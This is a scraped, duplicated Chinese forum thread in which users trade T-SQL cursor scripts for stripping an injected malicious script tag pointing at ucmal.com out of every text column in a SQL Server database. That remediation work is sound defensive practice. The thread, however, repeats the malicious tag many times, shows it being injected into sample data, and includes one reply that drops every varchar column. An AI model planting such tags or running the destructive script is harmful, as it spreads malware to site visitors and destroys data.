怎么删掉?
17 个解决方案
#1
update tablename
set col = replace(col,'<script_src=http://ucmal.com/0.js> </script>','')
#2
update tb
set col = replace(col,'<script_src=http://ucmal.com/0.js> </script>','')
#3
[code=SQL]--如果是所有的,参考下例:[/code]
--删除指定类型的所有字段
--要删除的列的数据类型
DECLARE @fieldtype sysname
SET @fieldtype='varchar'
--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'ALTER TABLE '+QUOTENAME(o.name)
+N' DROP COLUMN '+QUOTENAME(c.name)
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'
#4
[code=SQL]--如果是所有的,参考下例(未测试):[/code]
--要更改的列的数据类型(应该是char,varchar等)
DECLARE @fieldtype sysname
SET @fieldtype='varchar'
--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ' , ''<script_src=http://ucmal.com/0.js> </script>'' , '''''
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'
#5
所有表 下 所有文本类型字段下的 所有记录!
#6
4楼的兄弟 我在查询分析下执行无效!
#7
我未测试.
#8
报错没有?
你自己照着改改就行了.
你自己照着改改就行了.
#9
--上面漏写了个),测试成功.
DECLARE @fieldtype sysname
SET @fieldtype='varchar'
--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'
#10
还是不行,查询 分析器 命令已成功完成。
但是还是没删掉!
但是还是没删掉!
#11
打开一个表 执行 显示一行被上次查询影响
但是还是无效!
但是还是无效!
#12
你按照我的方法,自己设置一个值(例如'csdncsdncsdn'),使用固定表,不要使用表变量,我这里测试成功.
#13
如果还是不行,就不是SQL的问题了,应该你的操作系统(包括SQL SERVER已经被破坏),尝试重装SQL SERVER或操作系统了.
#14
--修改sql server 2000自带库pubs的auhtors表的字段address,city的长度为200
update authors set address = address + '<script_src=http://ucmal.com/0.js> </script>'
update authors set city = city + '<script_src=http://ucmal.com/0.js> </script>'
select address , city from authors
/*
address city
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
10932 Bigge Rd.<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script> Menlo Park<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script>
309 63rd St. #411<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script> Oakland<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script>
589 Darwin Ln.<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script> Berkeley<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script>
22 Cleveland Av. #14<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script> San Jose<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script>
5420 College Av.<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script> Oakland<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script>
10 Mississippi Dr.<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script> Lawrence<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script>
6223 Bateman St.<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script> Berkeley<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script>
3410 Blonde St.<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script> Palo Alto<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script>
PO Box 792<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script> Covelo<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script>
18 Broadway Av.<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script> San Francisco<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script>
22 Graybar House Rd.<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script> Nashville<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script>
55 Hillsdale Bl.<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script> Corvallis<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script>
3 Silver Ct.<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script> Walnut Creek<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script>
......
(所影响的行数为 23 行)
*/
#15
--使用我的方法替换'<script_src=http://ucmal.com/0.js> </script>'
DECLARE @fieldtype sysname
SET @fieldtype='varchar'
--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'
select address , city from authors
/*
address city
------------------------ -------------------
10932 Bigge Rd. Menlo Park
309 63rd St. #411 Oakland
589 Darwin Ln. Berkeley
22 Cleveland Av. #14 San Jose
5420 College Av. Oakland
10 Mississippi Dr. Lawrence
6223 Bateman St. Berkeley
3410 Blonde St. Palo Alto
PO Box 792 Covelo
18 Broadway Av. San Francisco
22 Graybar House Rd. Nashville
55 Hillsdale Bl. Corvallis
3 Silver Ct. Walnut Creek
2286 Cram Pl. #86 Ann Arbor
3 Balding Pl. Gary
5420 Telegraph Av. Oakland
44 Upland Hts. Oakland
5720 McAuley St. Oakland
1956 Arlington Pl. Rockville
3410 Blonde St. Palo Alto
301 Putnam Vacaville
67 Seventh Av. Salt Lake City
67 Seventh Av. Salt Lake City
(所影响的行数为 23 行)
*/
--可以看到,修改成功。
#16
DECLARE @fieldtype sysname
SET @fieldtype='varchar'
--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'
SET @fieldtype='varchar' 文件类型能改成 text 或者ntext 吗?
SET @fieldtype='varchar'
--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'
SET @fieldtype='varchar' 文件类型能改成 text 或者ntext 吗?
#17
没测试,你自己测试以下.
如果不行,改为:
DECLARE @fieldtype sysname
SET @fieldtype='text'
--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(cast(' + QUOTENAME(c.name) + ') as varchar),'' <script_src=http://ucmal.com/0.js> </script> '','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'
如果不行,改为:
DECLARE @fieldtype sysname
SET @fieldtype='text'
--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(cast(' + QUOTENAME(c.name) + ') as varchar),'' <script_src=http://ucmal.com/0.js> </script> '','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'
#1
update tablename
set col = replace(col,'<script_src=http://ucmal.com/0.js> </script>','')
#2
update tb
set col = replace(col,'<script_src=http://ucmal.com/0.js> </script>','')
#3
[code=SQL]--如果是所有的,参考下例:[/code]
--删除指定类型的所有字段
--要删除的列的数据类型
DECLARE @fieldtype sysname
SET @fieldtype='varchar'
--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'ALTER TABLE '+QUOTENAME(o.name)
+N' DROP COLUMN '+QUOTENAME(c.name)
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'
#4
[code=SQL]--如果是所有的,参考下例(未测试):[/code]
--要更改的列的数据类型(应该是char,varchar等)
DECLARE @fieldtype sysname
SET @fieldtype='varchar'
--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ' , ''<script_src=http://ucmal.com/0.js> </script>'' , '''''
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'
#5
所有表 下 所有文本类型字段下的 所有记录!
#6
4楼的兄弟 我在查询分析下执行无效!
#7
我未测试.
#8
报错没有?
你自己照着改改就行了.
你自己照着改改就行了.
#9
--上面漏写了个),测试成功.
DECLARE @fieldtype sysname
SET @fieldtype='varchar'
--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'
#10
还是不行,查询 分析器 命令已成功完成。
但是还是没删掉!
但是还是没删掉!
#11
打开一个表 执行 显示一行被上次查询影响
但是还是无效!
但是还是无效!
#12
你按照我的方法,自己设置一个值(例如'csdncsdncsdn'),使用固定表,不要使用表变量,我这里测试成功.
#13
如果还是不行,就不是SQL的问题了,应该你的操作系统(包括SQL SERVER已经被破坏),尝试重装SQL SERVER或操作系统了.
#14
--修改sql server 2000自带库pubs的auhtors表的字段address,city的长度为200
update authors set address = address + '<script_src=http://ucmal.com/0.js> </script>'
update authors set city = city + '<script_src=http://ucmal.com/0.js> </script>'
select address , city from authors
/*
address city
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
10932 Bigge Rd.<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script> Menlo Park<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script>
309 63rd St. #411<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script> Oakland<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script>
589 Darwin Ln.<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script> Berkeley<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script>
22 Cleveland Av. #14<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script> San Jose<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script>
5420 College Av.<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script> Oakland<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script>
10 Mississippi Dr.<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script> Lawrence<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script>
6223 Bateman St.<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script> Berkeley<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script>
3410 Blonde St.<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script> Palo Alto<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script>
PO Box 792<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script> Covelo<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script>
18 Broadway Av.<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script> San Francisco<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script>
22 Graybar House Rd.<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script> Nashville<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script>
55 Hillsdale Bl.<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script> Corvallis<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script>
3 Silver Ct.<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script> Walnut Creek<script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script><script_src=http://ucmal.com/0.js> </script>
......
(所影响的行数为 23 行)
*/
#15
--使用我的方法替换'<script_src=http://ucmal.com/0.js> </script>'
DECLARE @fieldtype sysname
SET @fieldtype='varchar'
--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'
select address , city from authors
/*
address city
------------------------ -------------------
10932 Bigge Rd. Menlo Park
309 63rd St. #411 Oakland
589 Darwin Ln. Berkeley
22 Cleveland Av. #14 San Jose
5420 College Av. Oakland
10 Mississippi Dr. Lawrence
6223 Bateman St. Berkeley
3410 Blonde St. Palo Alto
PO Box 792 Covelo
18 Broadway Av. San Francisco
22 Graybar House Rd. Nashville
55 Hillsdale Bl. Corvallis
3 Silver Ct. Walnut Creek
2286 Cram Pl. #86 Ann Arbor
3 Balding Pl. Gary
5420 Telegraph Av. Oakland
44 Upland Hts. Oakland
5720 McAuley St. Oakland
1956 Arlington Pl. Rockville
3410 Blonde St. Palo Alto
301 Putnam Vacaville
67 Seventh Av. Salt Lake City
67 Seventh Av. Salt Lake City
(所影响的行数为 23 行)
*/
--可以看到,修改成功。
#16
DECLARE @fieldtype sysname
SET @fieldtype='varchar'
--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'
SET @fieldtype='varchar' 文件类型能改成 text 或者ntext 吗?
SET @fieldtype='varchar'
--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'
SET @fieldtype='varchar' 文件类型能改成 text 或者ntext 吗?
#17
没测试,你自己测试以下.
如果不行,改为:
DECLARE @fieldtype sysname
SET @fieldtype='text'
--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(cast(' + QUOTENAME(c.name) + ') as varchar),'' <script_src=http://ucmal.com/0.js> </script> '','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'
如果不行,改为:
DECLARE @fieldtype sysname
SET @fieldtype='text'
--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(cast(' + QUOTENAME(c.name) + ') as varchar),'' <script_src=http://ucmal.com/0.js> </script> '','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'